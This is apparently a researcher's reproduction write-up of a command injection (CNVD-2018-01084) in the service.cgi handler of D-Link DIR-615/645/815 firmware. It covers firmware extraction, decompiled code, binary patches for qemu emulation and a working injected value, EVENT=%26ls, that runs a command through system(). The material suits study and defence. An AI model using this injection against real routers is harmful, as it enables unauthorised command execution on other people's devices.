Tldr
Vulnerability Code:
CNVD-2018-01084
AVD-2021-908830
Tag: #Vulnerability-reprodution
Attachments: ![[DIR815A1_FW103b01.bin]]
References：
⚠️ Affected: D-Link DIR 615/645/815 V1.03&pre
2024-03-17 | 21:52
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┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084]
└─
Scan Time: 2024-03-17 22:04:11
Target File: /root/leamov/CNVD-2018-01084/DIR815A1_FW103b01.bin
MD5 Checksum: b651c106598bad6dbc9c4ae7c3d39f62
Signatures: 411
...
Now get file system
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┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root]
└─
.
├── bin
├── dev
├── etc
├── home
├── htdocs
├── lib
├── mnt
├── proc
├── sbin
├── sys
├── tmp -> /dev/null
├── usr
├── var
└── www
14 directories, 1 file
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root/htdocs]
└─
.
├── cgibin
├── HNAP1
├── neap
├── phplib
├── smart404
├── upnp
├── upnpdevdesc
├── upnpinc
├── web
├── webinc
└── widget
11 directories, 1 file
2.Analysis Accroding to the description of vulnerability provided by AVD .This vulnherability stems from service.cgi concatenating data from http post request,resulting in concatenation of backend commands and allow for arbitray command execution.
2.1 Chcek binary file 1
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┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root/htdocs]
└─
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x402230
Start of program headers: 52 (bytes into file)
Start of section headers: 128256 (bytes into file)
Flags: 0x50001007, noreorder, pic, cpic, o32, mips32
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 40 (bytes)
Number of section headers: 29
Section header string table index: 28
┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root/htdocs]
└─
[*] '/root/leamov/CNVD-2018-01084/_DIR815A1_FW103b01.bin.extracted/squashfs-root/htdocs/cgibin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Prog's arch is mipsel-32.Try run with qemu-mipsel-static.Use chroot . to change current command root directory.
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┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root]
└─
CGI.BIN, unknown command cgibin
2.1.1 main() cgibin out put content unknown command cgibin.Check out pseudocode in IDA
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int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( !strcmp(v3, "phpcgi") )
{
v8 = (void (__noreturn *)())phpcgi_main;
v9 = argc;
return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "dlcfg.cgi") )
{
v8 = (void (__noreturn *)())dlcfg_main;
v9 = argc;
return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp);
}
...
if ( !strcmp(v3, "service.cgi") )
{
v8 = (void (__noreturn *)())&servicecgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
...
printf("CGI.BIN, unknown command %s\n", v3);
return 1;
}
Now use parameter -0 to appoint first argument as "service.cgi"
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┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/squashfs-root]
└─
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
<report>
<result>FAILED</result>
<message>No HTTP request</message>
</report>
2.1.2 servicecgi_main() 1
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int servicecgi_main()
{
memset(message, 0, 0x100u);
method = getenv("REQUEST_METHOD");
if (method)
{
if (!strcasecmp(method, "POST"))
{
maxContentLength = 1024;
}
if (cgibin_parse_request(sub_40A63C, 0, maxContentLength) < 0)
{
errorMsg = "Unable to parse HTTP request";
}
if (!sess_ispoweruser())
{
errorMsg = "Not authorized";
}
event = sub_40A1C0("EVENT");
action = (const char *)sub_40A1C0("ACTION");
service = sub_40A1C0("SERVICE");
if (event)
{
commandStr = "event %s > /dev/null";
}
else
{
if (!strcasecmp(action, "START"))
{
commandStr = "service %s start > /dev/null";
}
else if (!strcasecmp(action, "STOP"))
{
commandStr = "service %s stop > /dev/null";
}
else
{
if (strcasecmp(action, "RESTART"))
{
snprintf(message, 0x100u, "Unknown action - '%s'", action);
}
commandStr = "service %s restart > /dev/null";
}
}
lxmldbc_system(commandStr);
}
else
{
snprintf(message, 0x100u, "No HTTP request");
resultCode = -1;
}
puts("HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r");
puts("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
puts("<report>");
if (resultCode)
resultStatus = "FAILED";
else
resultStatus = "OK";
printf("\t<result>%s</result>\n", resultStatus);
printf("\t<message>%s</message>\n", message);
puts("</report>");
cgibin_clean_tempfiles();
while (1)
{
}
return result;
}
Based on the pseudocode above.We found a critical function call lxmldbc_system()
2.1.3 lxmldbc_system 1
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int lxmldbc_system(char *format, int a2, int a3, int a4, int a5, ...)
{
char commandBuf[1028];
vsnprintf(commandBuf, 0x400u, format, args);
return system(commandBuf);
}
Accroding to the pseudocode of servicecgi_main we know that parameter args able to manipulate.Now try execute cgibin use the following parameters
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┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/root]
└─
-0 "service.cgi" \
-E REQUEST_METHOD=POST \
-E CONTENT_TYPE=application/x-www-form-urlencoded \
-E CONTENT_LENGTH=10
-E REQUEST_URI=/?EVENT=%26ls&26
htdocs/cgibin
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
<report>
<result>FAILED</result>
<message>Unable to parse HTTP request</message>
</report>
Some error occur.After debugging and look up some blogs know that is qemu's user enviroment led to this error.There has two place need to patches.cgibin_parse_request() and another is sess_ispoweruser().
The second one need to patches because it need to open and read /var/session/sesscfg but qemu's enviroment doesn't have it.
As for the first one.I haven't seen any explain form blogs.Accroding to debugging,clearly function cgibin_parse_request return by the following expression
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return ((int (__fastcall *)(int, int, unsigned int, char *))(&::application)[3 * v16 - 1])(
arg1,
arg2,
length,
&contentType[audio]);
This function check content type which after application/.Only x-www-form-urlencoded supported.If match then will read data from stdin.Details about how cgi get post data please check the third reference post CGI .
The following pseudocode show that why Unable to parse HTTP request
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sets.__fds_bits[0] |= 1u;
timeout.tv_usec = 0;
timeout.tv_sec = 5;
selectResult = select(1, &sets, 0, 0, &timeout);
returnCode = selectResult;
if ( selectResult >= 0 )
{
if ( !selectResult )
returnCode = -1;
break;
bufLength = contentLength;
if ( contentLength >= 0x401 )
bufLength = 0x400;
v8 = read(0, pSets, bufLength);
2.2 Patch binary file First we' found
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if ( cgibin_parse_request((int)sub_40A63C, 0, contentLength) < 0 )
It's opcode and assembly looks like that
10 00 41 04 bgez $v0, checkPowerUser
Accroding to the MIPS CPU instruction set manual .We know that bgez's opcode is 000001 and blez's opcode is 000110.And cgibin use little endian so actually opcode as 0x04410010 as binary is 0000 0100 0100 0001 0000 0000 0001 0000
My ida version don't support edit mips assembly directly so I have to change byte to 0001 1000 0100 0001 0000 0000 0001 0000 by my hand
0000 0100 0100 0001 0000 0000 0001 0000
↓ ↓↓
0001 1000 0100 0001 0000 0000 0001 0000
And now we get
10 00 41 18 blez $v0, checkPowerUser
But when this instruction were executed.it was crash and we get
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qemu: uncaught target signal 4 (Illegal instruction) - core dumped
Illegal instruction
Then I recover this patch and Then make the following change
10 00 41 14 bgez checkPowerUser
↓↓ ↓ ↓↓↓↓
10 00 00 10 b checkPowerUser
And the same to patch pass session validate.After that now run it again
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┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/root]
└─
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
<report>
<result>OK</result>
<message></message>
</report>
Patch successful
And this is current execution result
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┌──(root㉿W1sh)-[~/leamov/CNVD-2018-01084/bin/root]
└─
Usage: event {NAME} {ACTION} [OPTIONS]
event XXX add {HANDLER}
event XXX insert {TAG:HANDLER}
event XXX remove {TAG}
event XXX flush
event XXX dump
event XXX kill
event XXX
event dump
qemu-mipsel-static htdocs sbin
dev qemu-system-mipsel tmp
var home qemu-mipsel
mnt proc lib
etc sys www
usr bin
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
<report>
<result>OK</result>
<message></message>
</report>
3.Reflection 3.1 Exploit chain
main(): Fetch cgi functionservicecgi_main()
Check env REQUEST_METHOD
cgibin_parse_request()
Check env CONTENT_TYPE
Check env CONTENT_LENGTH
Check env REQUEST_URI
Match env content x-www-form-urlencoded
select() read user request data (may patch required)
sess_ispoweruser() (patch required) 40A1C0() (urldecode and get parameters)
Fetch EVENT from uri
Fetch ACTION from uri
Fetch SERVICE from uri
lxmldbc_system()
system("..."+"EVENT"+"...")
3.2 Q&A 3.2.1 Why patch cgibin_parse_request() not necessary There are two cases to determine whether patching is necessary.Based on the analysis above we know that Unable to parse HTTP request case by select() return timeout .It wait user input for 5 seconds.That's why it looks like “stuck" when I execute it without input.CONTEN_LENGTH.cgibin_parse_request() will finnaly return 1.
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最后于 2024-3-19 16:15
被LeaMov编辑
，原因： 修改错误内容
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